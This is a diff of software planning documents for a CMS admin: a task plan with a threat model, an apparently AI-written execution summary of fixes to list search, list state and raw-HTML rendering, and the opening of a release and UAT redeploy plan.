- `git -C ../sm-journal-plugin show --name-only --format= HEAD` lists exactly classes/format_html.go, classes/format_html_test.go and README.md.
|
||||
- `git -C ../sm-journal-plugin status --porcelain -- go.mod go.sum` prints nothing (no dependency change).
|
||||
</acceptance_criteria>
|
||||
<done>Imported HTML survives an admin save, import or API write, and the XSS gate still refuses the dangerous patterns.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto" tdd="true">
|
||||
<name>Task 4: The posts list remembers its state: URL plus browser storage, restored on entry before the first list request</name>
|
||||
<precondition>git status --porcelain -- admin scripts/check-phase10.sh modules/boardwalk prints nothing (no in-flight edit by the concurrent session, D-02).</precondition>
|
||||
<files>admin/src/state/listState.ts, admin/src/views/ListView.vue, admin/src/state/useAuth.ts, admin/src/state/useSidebar.ts, admin/tests/list/ListView.test.ts, scripts/check-phase10.sh, modules/boardwalk/dist/</files>
|
||||
<read_first>admin/src/views/ListView.vue (whole script block, especially replaceQuery, loadList and the watch on listQueryKey), admin/src/app/listQuery.ts (parseListQuery, toListQuery, listQueryKey), admin/src/app/controllerRoutes.ts (controllerIdFromParams, controllerPath), admin/src/state/useSidebar.ts (storage access pattern and header comment), admin/src/state/useAuth.ts (logout), admin/src/views/FormView.vue (listPath, backPath, go, onLeave, onDelete, redirectTarget: read only, it is not changed), admin/tests/list/ListView.test.ts (routes, mountApp, requestsTo, queryOf), admin/tests/helpers.ts (resetState clears storage), admin/tests/smoke/shell.smoke.test.ts (asserts only the sidebar key is stored after mounting a list), scripts/check-phase10.sh (hygiene storage rule near line 370), scripts/check-admin-dist.sh, .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-CONTEXT.md (D-01)</read_first>
|
||||
<behavior>
|
||||
- Mounting /acme/demo/widgets with no query after writeListState stored sort code desc and filter active true: the first list GET carries sort=code, dir=desc and filter[active]=true, and the router URL carries them.
|
||||
- Mounting /acme/demo/widgets?search=blue: the stored state for acme.demo.widgets holds search blue (the URL wins).
|
||||
</behavior>
|
||||
<action>Implements D-01 as revised: no server call, table, migration or route.
|
||||
|
||||
Create admin/src/state/listState.ts, the only module besides useSidebar.ts that touches browser storage. Exports: LIST_STATE_PREFIX equal to summer-admin.list: (the key is the prefix plus the controller id, one key per list; Claude's discretion on naming, following SIDEBAR_KEY); readListState(controllerId) returning a ListQuery: it reads the key, JSON-parses it, accepts only a plain object whose values are strings, and passes it through parseListQuery so malformed stored values are dropped exactly like a hand-edited URL; anything else removes the key and returns an empty query; writeListState(controllerId, query) stores JSON of toListQuery(query) when listQueryKey(query) differs from the empty query's key and removes the key otherwise, so an empty list never leaves an entry; clearListStates() removes every key with the prefix. Wrap every storage access in try/catch like useSidebar.ts: disabled or full storage is a no-op and the URL still carries the state.
|
||||
|
||||
admin/src/views/ListView.vue: keep the immediate watch on listQueryKey(query) but make its handler decide before any list request. When the current query is empty and readListState(controllerId) is non-empty, call router.replace with path route.path and query toListQuery(stored) and return without loading (the watch runs again with the restored query). Otherwise call writeListState(controllerId, query.value) (the URL wins), then clear the selection, sync searchText and call loadList as today. replaceQuery calls writeListState with the next query before router.replace, so a user who clears every control stores the empty state and the following empty-query run loads unfiltered instead of restoring. The same handler covers navigating to the same list while it is filtered: the query empties without replaceQuery and the stored query comes back. In loadList, after the generation check: when the response status is 422, writeListState(controllerId, an empty query) so a stale stored filter or sort never sticks; when meta.last_page is at least 1 and meta.page is above it, replaceQuery with the current query and page set to meta.last_page. FormView is not changed: its back, cancel, save-and-close, delete and redirect navigation goes to the bare list path, and this entry restore puts the stored query into the URL before the first list request, which is how the form and the navigation return to the list with its query (D-01).
|
||||
|
||||
admin/src/state/useAuth.ts: logout calls clearListStates() in its finally block next to clearUser(), so the next admin on the same browser sees none of the previous searches.
|
||||
|
||||
admin/src/state/useSidebar.ts: rewrite the header sentence that says nothing else is ever written to browser storage so it names listState.ts as the only other writer (list query parameters only, never tokens or record data).
|
||||
|
||||
scripts/check-phase10.sh: in the hygiene storage rule allow admin/src/state/listState.ts in addition to useSidebar.ts (two grep -v path prefixes) and update its comment and message to name both files; the self-test plant under admin/src/__plant must still be refused.
|
||||
|
||||
admin/tests/list/ListView.test.ts: add the two smoke cases from the behavior list, importing writeListState and readListState from ../../src/state/listState (this also satisfies the hygiene rule that every source file is imported by a test). Full coverage is plan 03.
|
||||
|
||||
Rebuild the embedded SPA with npm --prefix admin run build and commit modules/boardwalk/dist in the same commit as the SPA change. Commit in summercms.go, staging exactly admin/src/state/listState.ts, admin/src/views/ListView.vue, admin/src/state/useAuth.ts, admin/src/state/useSidebar.ts, admin/tests/list/ListView.test.ts, scripts/check-phase10.sh and modules/boardwalk/dist: fix(admin): keep list state in the URL and browser storage.</action>
|
||||
<!-- planner-discipline-allow: localStorage|sessionStorage|indexedDB|document\.cookie -->
|
||||
<verify>
|
||||
<automated>npm --prefix admin run typecheck && npm --prefix admin test -- tests/list/ListView.test.ts tests/form/FormView.test.ts tests/smoke tests/state</automated>
|
||||
<fails_when>Non-zero exit, or the vitest summary line reports any "failed" test or file.</fails_when>
|
||||
<automated>bash scripts/check-admin-dist.sh</automated>
|
||||
<fails_when>Non-zero exit or "modules/boardwalk/dist is stale" on stderr.</fails_when>
|
||||
<automated>test -z "$(grep -rnE 'localStorage|sessionStorage|indexedDB|document\.cookie' admin/src | grep -v -e '^admin/src/state/useSidebar.ts:' -e '^admin/src/state/listState.ts:')"</automated>
|
||||
<fails_when>Non-zero exit: a browser-storage reference exists in admin/src outside useSidebar.ts and listState.ts.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- The vitest run passes, including the two new list-state smoke cases and the unchanged shell smoke test that expects only the sidebar key after mounting a list without query.
|
||||
- `bash scripts/check-admin-dist.sh` prints "modules/boardwalk/dist matches a fresh build".
|
||||
- `grep -c 'summer-admin.list:' admin/src/state/listState.ts` is 1; `grep -c 'clearListStates' admin/src/state/useAuth.ts` is at least 1; `grep -c 'admin/src/state/listState.ts' scripts/check-phase10.sh` is at least 1; `grep -c 'readListState' admin/src/views/ListView.vue` is at least 1.
|
||||
- Browser-storage references in admin/src appear only in useSidebar.ts and listState.ts (third verify command).
|
||||
- `git show --name-only --format= HEAD` lists only the seven staged paths (dist files under modules/boardwalk/dist).
|
||||
</acceptance_criteria>
|
||||
<done>The posts list keeps its search, sort, filters and page in the URL and per list in browser storage, restores them when entered without params, lets a URL win, and forgets them on logout; the embedded build matches.</done>
|
||||
</task>
|
||||
|
||||
</tasks>
|
||||
|
||||
<threat_model>
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description |
|
||||
|----------|-------------|
|
||||
| Admin SPA → cabana list API | search, sort, dir, page, per_page and filter[name] come from the URL or browser storage and are untrusted |
|
||||
| Browser storage → ListView | a stored list query may be stale, hand-edited or written by another script on the admin origin |
|
||||
| Admin author → content_html → public site | post bodies with raw HTML are stored and served through the Journal API to the public Nuxt site |
|
||||
| Shared browser between admins | stored list queries outlive a session unless cleared |
|
||||
|
||||
## STRIDE Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|
||||
|-----------|----------|-----------|----------|-------------|-----------------|
|
||||
| T-16.1-01 | Tampering (SQL injection) | modules/cabana/query.go relation subquery builder | high | mitigate | Relation and column names come only from the compiled list schema and GORM's parsed relationship (LookUpField, identifier()); every identifier is quoted through the dialector (quotedIdent/qualifiedColumn); the search pattern is a bound parameter with LIKE escaping; unknown or polymorphic relations are refused with 422 before any SQL runs; permission is still checked by protect() before ExecuteList |
|
||||
| T-16.1-02 | Tampering / Elevation (stored XSS) | ../sm-journal-plugin/classes/format_html.go | medium | mitigate | rejectUnsafe stays after the now-unsafe render on every write path (admin, import, API) and refuses script/iframe/object/embed, on* handlers and javascript/vbscript/data URLs; authors are authenticated admins with the journal posts permission; the admin preview (cabana.RenderMarkdown, v-html) stays safe-mode; the public layer keeps its own HTML gate (T-16-01). Residual (accepted, PHP parity): inert tags such as style, footer or form pass, which PHP's Html::clean would have stripped for admins without unsafe-markdown rights |
|
||||
| T-16.1-03 | Information Disclosure | admin/src/state/listState.ts | low | mitigate | Only list query parameters are stored (no tokens, no record data) under summer-admin.list: keys; logout clears them; the check-phase10.sh hygiene allowlist confines browser storage to useSidebar.ts and listState.ts |
|
||||
| T-16.1-04 | Tampering | restored list state | low | mitigate | Stored values pass through parseListQuery (drops malformed page, dir, empty filters); the server re-validates every parameter against the compiled schema and answers 422; a 422 removes the stored state so it cannot stick |
|
||||
| T-16.1-05 | Denial of Service | correlated EXISTS / string_agg subqueries | low | accept | One subquery per searchable relation column per row, bounded by the page and by pivot primary keys; admin-only route |
|
||||
| T-16.1-SC | Tampering | npm/go installs | high | mitigate | No package is installed: github.com/yuin/goldmark/renderer/html is a package of the already-required goldmark v1.8.6 (RESEARCH Package Legitimacy Audit: no packages); no npm dependency is added; go.mod and package.json stay unchanged (Task 3 acceptance) |
|
||||
</threat_model>
|
||||
|
||||
<verification>
|
||||
- Task 1: `--- PASS: TestListRelationSearchSmoke`; Task 2: `--- PASS: TestEnabledLocalesDefaultFirstSmoke`; Task 3: classes tests `ok` and `--- PASS: TestFormatHTMLKeepsRawHTML`; Task 4: vitest green, dist matches, storage confined.
|
||||
- `go vet ./...` (summercms.go) and `go -C ../sm-journal-plugin vet ./...` exit 0.
|
||||
- `go test -count=1 ./cmd/summer -run TestDocsTree` passes.
|
||||
- summercms.go has three new commits from this plan (cabana search and sort, cabana locales, admin list state), sm-journal-plugin one; nothing is pushed.
|
||||
</verification>
|
||||
|
||||
<success_criteria>
|
||||
- D-02: relation search over belongsToMany, hasMany, hasOne and belongsTo columns and to-many sort produce valid SQL from GORM's relationship metadata.
|
||||
- D-03: forms open on the default locale; FormatHTML keeps raw HTML behind the gate.
|
||||
- D-01: list state lives in the URL and per list in browser storage, restored on entry, URL wins, cleared on logout.
|
||||
- No server-side storage, migration, route or OpenAPI change; no dependency added.
|
||||
</success_criteria>
|
||||
|
||||
<output>
|
||||
Create `.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-01-SUMMARY.md` when done, listing the commit hashes per repository (plan 02 tags and pushes them).
|
||||
</output>
|
||||
@@ -0,0 +1,230 @@
|
||||
---
|
||||
phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
|
||||
plan: 01
|
||||
subsystem: admin
|
||||
tags: [gorm, postgres, cabana, vue, localStorage, goldmark, i18n]
|
||||
|
||||
requires:
|
||||
- phase: 16-grzybyfunkcjonalne-pl-on-reusable-blog-views
|
||||
provides: Journal posts admin on cabana, the UAT deployment and its defect reports
|
||||
provides:
|
||||
- Relation search through correlated EXISTS subqueries and to-many sort through string_agg, both built from GORM's parsed relationship
|
||||
- Default content locale first in meta.enabledLocales, so ML form controls open on the stored host values
|
||||
- sm-journal-plugin FormatHTML keeps raw HTML in content_html; the unsafe-HTML gate is unchanged
|
||||
- Per-list query memory in the URL and browser storage (summer-admin.list:<controller>), restored on entry and cleared on logout
|
||||
affects: [16.1-02 release and redeploy, 16.1-03 unit tests, 16.2 blog editor]
|
||||
|
||||
actuals:
|
||||
tokens: 8422 # chars/4 over the realized diff of both repos, without the generated dist bundle
|
||||
tasks: 4
|
||||
commits: 3 # summercms.go, measured from the ledger; sm-journal-plugin adds 1 (528d2d8)
|
||||
plan_head_before: 3ca6a0d4b256a8e104154b36accaf3024ee0bdd4
|
||||
plan_head_after: 9cac45c3894815bc8fea91027f762a27635f67a2
|
||||
|
||||
tech-stack:
|
||||
added: []
|
||||
patterns:
|
||||
- "relationSubquery: relation SQL is built from gorm.Statement.Parse plus Schema.Relationships.Relations, aliased cabana_r<n>/cabana_p<n>, with no bound values"
|
||||
- "DryRun SQL harness (openDryRunDB + sqlRecorder + newDryRunListService) tests list SQL without Docker"
|
||||
- "List state: URL first, browser storage as the per-list memory, decided before the first list request"
|
||||
|
||||
key-files:
|
||||
created:
|
||||
- modules/cabana/query_relation_test.go
|
||||
- modules/cabana/locale_order_test.go
|
||||
- admin/src/state/listState.ts
|
||||
modified:
|
||||
- modules/cabana/query.go
|
||||
- modules/cabana/http.go
|
||||
- modules/cabana/README.md
|
||||
- docs/backend/lists-and-filters.md
|
||||
- docs/backend/forms.md
|
||||
- admin/src/views/ListView.vue
|
||||
- admin/src/state/useAuth.ts
|
||||
- admin/src/state/useSidebar.ts
|
||||
- admin/tests/list/ListView.test.ts
|
||||
- admin/tests/smoke/list.smoke.test.ts
|
||||
- scripts/check-phase10.sh
|
||||
- modules/boardwalk/dist/
|
||||
- ../sm-journal-plugin/classes/format_html.go
|
||||
- ../sm-journal-plugin/classes/format_html_test.go
|
||||
- ../sm-journal-plugin/README.md
|
||||
|
||||
key-decisions:
|
||||
- "Every relation type is searched through EXISTS, belongsTo and hasOne included, so the count query never gains an outer JOIN; only to-one sort keeps the association join"
|
||||
- "Relation sort validates through the same builder, so an unknown related column or a polymorphic relation answers 422 on sort as well as on search"
|
||||
- "The selected related column is resolved through FieldSchema.LookUpField and emitted by its DBName"
|
||||
- "Stored list state is the JSON of toListQuery (flat URL keys) and is read back through parseListQuery, so the stored format and the URL format are the same"
|
||||
|
||||
patterns-established:
|
||||
- "Pure DryRun tests for cabana SQL shape: reuse openDryRunDB and newDryRunListService from query_relation_test.go"
|
||||
|
||||
requirements-completed: [D-01, D-02, D-03]
|
||||
|
||||
coverage:
|
||||
- id: D1
|
||||
description: "List search over belongsToMany, hasMany and belongsTo columns uses EXISTS subqueries named from GORM's relationship and answers 200; to-many sort orders by a string_agg subquery with the primary-key tiebreak"
|
||||
requirement: D-02
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "modules/cabana/query_relation_test.go#TestListRelationSearchSmoke"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D2
|
||||
description: "meta.enabledLocales lists the default locale first, then the writer's order"
|
||||
requirement: D-03
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "modules/cabana/locale_order_test.go#TestEnabledLocalesDefaultFirstSmoke"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D3
|
||||
description: "FormatHTML keeps raw HTML (HTML paragraphs, a raw footer) and still refuses the unsafe cases"
|
||||
requirement: D-03
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/classes/format_html_test.go#TestFormatHTMLKeepsRawHTML"
|
||||
status: pass
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/classes/format_html_test.go#TestFormatHTMLRejectsUnsafeHTML"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D4
|
||||
description: "List query restored from browser storage before the first list request; the URL wins and overwrites the stored query"
|
||||
requirement: D-01
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "admin/tests/list/ListView.test.ts#list state in the URL and browser storage (D-01)"
|
||||
status: pass
|
||||
- kind: other
|
||||
ref: "bash scripts/check-admin-dist.sh"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D5
|
||||
description: "On UAT the Journal posts list searches by category, remembers its filters after opening a post, and the post form shows the stored content and excerpt"
|
||||
requirement: D-01
|
||||
verification: []
|
||||
human_judgment: true
|
||||
rationale: "Needs the real UAT database and an admin login behind basic auth; plan 02 redeploys and checks it by hand"
|
||||
|
||||
duration: 11min
|
||||
completed: 2026-10-09
|
||||
status: complete
|
||||
---
|
||||
|
||||
# Phase 16.1 Plan 01: Journal admin fixes Summary
|
||||
|
||||
**Fixed the four UAT defects in the Journal posts admin:**
|
||||
- **Relation search:** list search runs a correlated EXISTS subquery whose pivot, key and table names come from GORM's parsed relationship (`Schema.Relationships.Relations`), and to-many sort orders by a `string_agg` subquery.
|
||||
- **Form locale:** `meta.enabledLocales` lists the default content locale first.
|
||||
- **Raw HTML:** goldmark renders with `html.WithUnsafe()` behind the unchanged XSS gate.
|
||||
- **List state:** each list's query is kept in the URL and in browser storage.
|
||||
|
||||
## Performance
|
||||
|
||||
- **Duration:** 11 min
|
||||
- **Started:** 2026-10-09T18:53:15Z
|
||||
- **Completed:** 2026-10-09T19:04:24Z
|
||||
- **Tasks:** 4
|
||||
- **Files modified:** 17 in summercms.go (including the dist bundle) and 3 in sm-journal-plugin
|
||||
|
||||
## Accomplishments
|
||||
|
||||
- **Relation search (D-02).** Search over a belongsToMany column now answers 200. The count query reads `EXISTS (SELECT 1 FROM "<pivot>" AS "cabana_p0" JOIN "<related>" AS "cabana_r0" ON ... WHERE "cabana_p0".<owner fk> = "<main>"."id" AND LOWER(CAST(...)) LIKE ?)` and has no outer JOIN. hasMany, hasOne and belongsTo search use the same EXISTS form.
|
||||
- A record that matches through several related rows is counted and listed once.
|
||||
- Unqualified scope predicates (`id IN (...)`, `user_id = ?`) stay unambiguous.
|
||||
- A soft-deleting related model adds `deleted_at IS NULL`, matching Winter's whereHas.
|
||||
- Polymorphic relations and unknown related columns answer 422.
|
||||
- **Relation sort (D-02).** A hasMany or belongsToMany column sorts by `(SELECT string_agg(..., ', ' ORDER BY ...) FROM ... WHERE <correlation>)`, followed by the primary-key tiebreak. belongsTo and hasOne sorts keep the association join.
|
||||
- **Form locale (D-03).** `enabledContentLocales` moves `TranslationWriter.DefaultLocale` to index 0, so MLField and FormView open on the locale whose values are in the host columns (content, excerpt, title, slug).
|
||||
- **Raw HTML (D-03).** sm-journal-plugin `FormatHTML` passes raw HTML through, as Winter does. Admin saves, imports and Journal API writes no longer replace imported bodies with `<!-- raw HTML omitted -->`.
|
||||
- `rejectUnsafe` still runs after the render.
|
||||
- `cabana.RenderMarkdown` (the admin preview) is untouched.
|
||||
- **List state (D-01).** The list query is stored per list under `summer-admin.list:<controller id>`.
|
||||
- A list entered without list params restores the stored query into the URL before its first list request. A URL with list params wins and overwrites the stored query.
|
||||
- A 422 forgets the stored query, and a page past `last_page` is clamped to the last page.
|
||||
- Logout clears every stored list query.
|
||||
|
||||
## Task Commits
|
||||
|
||||
summercms.go (master, not pushed):
|
||||
|
||||
1. **Task 1: Tracer, relation search and sort through subqueries:** `06d75cb` (fix)
|
||||
2. **Task 2: Default content locale first in enabledLocales:** `bd8626e` (fix)
|
||||
4. **Task 4: List state in the URL and browser storage, rebuilt dist:** `9cac45c` (fix)
|
||||
|
||||
sm-journal-plugin (main, not pushed; plan 02 pushes):
|
||||
|
||||
3. **Task 3: Keep raw HTML in content_html behind the safety gate:** `528d2d8` (fix)
|
||||
|
||||
Each task is one commit with the message the plan named; the plan specifies one commit per task. RED was shown before each implementation:
|
||||
- Tasks 1, 2 and 3: the new test failed on its assertion against the old code (the broken `"Tags"."rel_post_id"` join, `[en pl]`, and `<!-- raw HTML omitted -->`).
|
||||
- Task 4: the two new vitest cases were run against the HEAD `ListView.vue` and failed on their assertions.
|
||||
|
||||
## Files Created/Modified
|
||||
|
||||
- `modules/cabana/query.go`: `relationSubquery` / `relationSQL`, EXISTS search, to-many `string_agg` sort, and `applyListOrder` now returns an error.
|
||||
- `modules/cabana/query_relation_test.go`: relation fixtures, the DryRun db and recording logger, `newDryRunListService`, and `TestListRelationSearchSmoke`.
|
||||
- `modules/cabana/http.go`: `enabledContentLocales` puts the default locale first.
|
||||
- `modules/cabana/locale_order_test.go`: `TestEnabledLocalesDefaultFirstSmoke`.
|
||||
- `modules/cabana/README.md`, `docs/backend/forms.md`: default locale first.
|
||||
- `docs/backend/lists-and-filters.md`: relation search and to-many sort semantics.
|
||||
- `admin/src/state/listState.ts`: `LIST_STATE_PREFIX`, `readListState`, `writeListState` and `clearListStates`.
|
||||
- `admin/src/views/ListView.vue`: restore before the first request, the URL wins, 422 forgets the state, page clamp.
|
||||
- `admin/src/state/useAuth.ts`: logout clears list states.
|
||||
- `admin/src/state/useSidebar.ts`: header comment names `listState.ts` as the only other storage writer.
|
||||
- `admin/tests/list/ListView.test.ts`: the two D-01 smoke cases.
|
||||
- `admin/tests/smoke/list.smoke.test.ts`: `beforeEach` clears list states (deviation 1).
|
||||
- `scripts/check-phase10.sh`: storage allowlist now includes `listState.ts`.
|
||||
- `modules/boardwalk/dist/`: rebuilt SPA.
|
||||
- `../sm-journal-plugin/classes/format_html.go`: `html.WithUnsafe()`, variables renamed so nothing shadows the import.
|
||||
- `../sm-journal-plugin/classes/format_html_test.go`: `TestFormatHTMLKeepsRawHTML`.
|
||||
- `../sm-journal-plugin/README.md`: Posts bullet.
|
||||
|
||||
## Decisions Made
|
||||
|
||||
- All relation types are searched through EXISTS, not only to-many ones, so the count query never gains a JOIN (RESEARCH Pitfall 1).
|
||||
- Relation sort validates through the same builder, so a bad related column or a polymorphic relation answers 422 on sort as well as on search.
|
||||
- The related column is resolved with `FieldSchema.LookUpField` and emitted by its `DBName`.
|
||||
- The stored list state uses the flat URL form (`toListQuery`) and is read back through `parseListQuery`, so stale or tampered values are dropped exactly like a hand-edited URL.
|
||||
|
||||
## Deviations from Plan
|
||||
|
||||
### Auto-fixed Issues
|
||||
|
||||
**1. [Rule 3 - Blocking] List smoke tests leaked list state between tests**
|
||||
- **Found during:** Task 4
|
||||
- **Issue:** `admin/tests/smoke/list.smoke.test.ts` has its own `beforeEach`, which does not clear browser storage. Once lists remember their query, a filter set by an earlier test was restored in "hides the filter bar without filters...". That test then saw `filter[created]` and `filter[maker]` in the URL and failed.
|
||||
- **Fix:** the file's `beforeEach` calls `clearListStates()`, so every test starts from a clean list. The file is not in the plan's `files_modified`; it was staged by explicit path in the Task 4 commit.
|
||||
- **Files modified:** `admin/tests/smoke/list.smoke.test.ts`
|
||||
- **Verification:** the full vitest suite passes (75 files, 1106 tests).
|
||||
- **Committed in:** `9cac45c`
|
||||
|
||||
---
|
||||
|
||||
**Total deviations:** 1 auto-fixed (1 blocking)
|
||||
**Impact on plan:** test isolation only; there is no behavior change and no scope creep.
|
||||
|
||||
## Issues Encountered
|
||||
|
||||
- `go test ./modules/cabana` without `-run` fails on the Docker-backed tests (no Docker socket permission), as the plan expected. Every failure is a Docker error, and none of those tests uses a writer whose default locale is not first. Recorded in `deferred-items.md`.
|
||||
- `scripts/check-phase10.sh --hygiene` and `--self-test` refuse 5 findings in files this plan does not touch (`admin/src/api/files.ts`, `FileCaptionModal.vue`, `MLField.vue`, `mlLocale.ts`). The storage rule changed here passes. Recorded in `deferred-items.md`.
|
||||
|
||||
## User Setup Required
|
||||
|
||||
None. No external service configuration is required.
|
||||
|
||||
## Next Phase Readiness
|
||||
|
||||
- Plan 02 can tag the summercms.go release (commits `06d75cb`, `bd8626e`, `9cac45c`), push sm-journal-plugin `528d2d8`, bump the host and redeploy.
|
||||
- After the deploy, re-save posts 53 and 64 to repair their `content_html`.
|
||||
- Before tagging, run the Postgres-backed cabana suite on a machine with Docker; this machine has none.
|
||||
- Plan 03 can reuse `openDryRunDB` and `newDryRunListService` for full coverage of the relation builder (hasOne, self-referencing, soft delete, polymorphic refusal, sort validation) and of `listState.ts`.
|
||||
|
||||
---
|
||||
*Phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f*
|
||||
*Completed: 2026-10-09*
|
||||
|
||||
## Self-Check: PASSED
|
||||
|
||||
All created files exist; commits 06d75cb, bd8626e, 9cac45c (summercms.go) and 528d2d8 (sm-journal-plugin) are present.
|
||||
@@ -0,0 +1,240 @@
|
||||
---
|
||||
phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
|
||||
plan: 02
|
||||
type: execute
|
||||
wave: 2
|
||||
depends_on: ["16.1-01"]
|
||||
files_modified:
|
||||
- ../sm-journal-plugin/go.mod
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal
|
||||
- ../sm-grzybyfunkcjonalne-app/README.md
|
||||
- ../sm-grzybyfunkcjonalne-app/DEPLOY.md
|
||||
autonomous: false
|
||||
requirements: [D-04, D-03]
|
||||
user_setup:
|
||||
- service: UAT admin (https://uat.grzybyfunkcjonalne.pl/gfadmin)
|
||||
why: "The executor holds no UAT basic-auth or admin credentials; a human runs the posts-list search and re-saves posts 53 and 64 (D-03, D-04)"
|
||||
dashboard_config:
|
||||
- task: "Log in to the admin through the UAT basic-auth realm with an admin account"
|
||||
location: "browser, https://uat.grzybyfunkcjonalne.pl/gfadmin"
|
||||
estimate:
|
||||
tokens: 50000
|
||||
raw_tokens: 50000
|
||||
tasks: 3
|
||||
confidence: low
|
||||
must_haves:
|
||||
truths:
|
||||
- "D-04: an annotated summercms tag (v0.1.16, or the next free v0.1.x if the concurrent session tagged first) contains every 16.1-01 cabana and admin commit and is on origin; when an existing tag already contains them, no new tag is cut and that tag is recorded instead."
|
||||
- "D-04: sm-journal-plugin main, holding the FormatHTML fix and a go.mod require of the release tag, is on origin, and sm-grzybyfunkcjonalne-app's plugins/golem15/journal gitlink points at it; the host README and DEPLOY.md no longer tell admins to avoid re-saving imported posts."
|
||||
- "D-04: UAT runs a binary built by scripts/build.sh from the tagged framework working tree and the bumped journal gitlink; its sha256 on the server equals the local build, both supervisor programs are RUNNING, the previous binary is kept as bin/grzybyfunkcjonalne.prev, and the on-server smoke.sh --url run ends with 'smoke: ok ('."
|
||||
- "D-02: after the restart, a human search in the UAT Journal posts list returns rows, and the Go log shows no SQLSTATE 42703 line since the restart."
|
||||
- "D-03: after a human re-saves posts 53 and 64 in the admin, no post's content_html holds goldmark's raw-HTML placeholder comment, and post 64's content_html contains its footer element again."
|
||||
- "D-01 and D-03 on UAT (end-of-phase human check): sort and a category filter survive open post and back, save-and-close and rail navigation, and stay in the URL; an imported post's form shows title, slug, content and excerpt with pl first."
|
||||
artifacts:
|
||||
- path: "../sm-grzybyfunkcjonalne-app/DEPLOY.md"
|
||||
provides: "release and rollback procedure, without the obsolete admin re-save warning"
|
||||
contains: "## Release"
|
||||
- path: "../sm-journal-plugin/go.mod"
|
||||
provides: "nominal require of the release tag (the replace to ../summercms.go stays)"
|
||||
contains: "git.golem15.com/golem15/summercms v0.1."
|
||||
key_links:
|
||||
- from: "../sm-grzybyfunkcjonalne-app/plugins/golem15/journal (gitlink)"
|
||||
to: "sm-journal-plugin origin/main"
|
||||
via: "submodule pointer bump committed and pushed in the host"
|
||||
pattern: "plugins/golem15/journal"
|
||||
- from: "../sm-grzybyfunkcjonalne-app/scripts/build.sh"
|
||||
to: "../summercms.go at the release tag"
|
||||
via: "replace git.golem15.com/golem15/summercms => ../summercms.go in the host go.mod"
|
||||
pattern: "summercms.go"
|
||||
prohibitions:
|
||||
- "[FLAGGED-UNVERIFIED] The release must not run write SQL on the UAT database or bulk-rewrite content_html; only posts 53 and 64 are re-saved, by a human, in the admin."
|
||||
- "[FLAGGED-UNVERIFIED] The live Winter site, its vhost, php-fpm and the PHP database must not be touched by the redeploy (Phase 16 D-10 stays in force)."
|
||||
- "[FLAGGED-UNVERIFIED] The executor must not request, print, store or commit any credential: UAT basic auth, admin password or a server .env secret."
|
||||
---
|
||||
|
||||
## Phase Goal
|
||||
|
||||
ROADMAP Goal (not in user-story format): the Journal posts list and post form in the admin work on real imported data found on UAT, and the fixes are released as a summercms tag, the host is bumped, UAT is redeployed and the staging smoke re-runs.
|
||||
|
||||
This plan's slice (D-05: "02 release and redeploy to UAT, including re-saving posts 53 and 64"): the 16.1-01 fixes reach UAT behind a human release gate, and the four defects are checked on the real imported data.
|
||||
|
||||
Wave order (stated per the orchestrator's request): 01 (wave 1) then this plan (wave 2) then 03, the unit tests (wave 3). CLAUDE.md lean rule 3 says earlier plans "must not be blocked on coverage" and the unit-test plan is the last plan of the phase, so the release does not wait for plan 03, as Phase 16 shipped 16-04 (deploy) before 16-05 (tests). The release gate runs the 16.1-01 smoke tests; plan 03's tests land on master after the tag and ship with the next tag. Plan 03 runs after this plan so the two never commit or push in the same repositories at the same time.
|
||||
|
||||
## Spec-less probe fallback
|
||||
|
||||
Visible skip: no REQUIREMENTS.md IDs to probe. CONTEXT D-04 (release mechanics), D-03 (re-save of posts 53 and 64) and the RESEARCH "Release / deploy mechanics" and "Runtime State Inventory" sections are the source of truth. Claude's discretion (CONTEXT): the unused `en` locale on UAT is not disabled; the framework fix (default locale first) is enough for D-03, and changing UAT data was not asked for.
|
||||
|
||||
## Artifacts this phase produces
|
||||
|
||||
- A summercms annotated tag `v0.1.x` on origin (or the recorded existing tag that already contains the fixes).
|
||||
- sm-journal-plugin `main` on origin: the 16.1-01 FormatHTML commit and `chore(deps): require summercms v0.1.x`.
|
||||
- sm-grzybyfunkcjonalne-app `master` on origin: journal gitlink bump, README and DEPLOY.md without the admin re-save warning.
|
||||
- UAT server: new `/srv/grzybyfunkcjonalne/go/bin/grzybyfunkcjonalne`, previous one at `bin/grzybyfunkcjonalne.prev`, both programs restarted, posts 53 and 64 re-rendered by an admin save.
|
||||
|
||||
<objective>
|
||||
Release and redeploy (D-04): pass a human-approved release gate, tag summercms, push the plugin and host bumps, build, deploy to uat.grzybyfunkcjonalne.pl per DEPLOY.md, smoke on the server, then confirm the four defects on UAT and restore posts 53 and 64 (D-03).
|
||||
|
||||
Purpose: the fixes from 16.1-01 serve the real imported data on UAT.
|
||||
Output: pushed tag and branches, a running UAT release, a passing on-server smoke and read-only proof that the damaged posts are repaired.
|
||||
</objective>
|
||||
|
||||
<execution_context>
|
||||
@~/.claude/msd-core/workflows/execute-plan.md
|
||||
@~/.claude/msd-core/templates/summary.md
|
||||
</execution_context>
|
||||
|
||||
<context>
|
||||
@.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-CONTEXT.md
|
||||
@.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-RESEARCH.md
|
||||
@.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-01-SUMMARY.md
|
||||
@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-04-SUMMARY.md
|
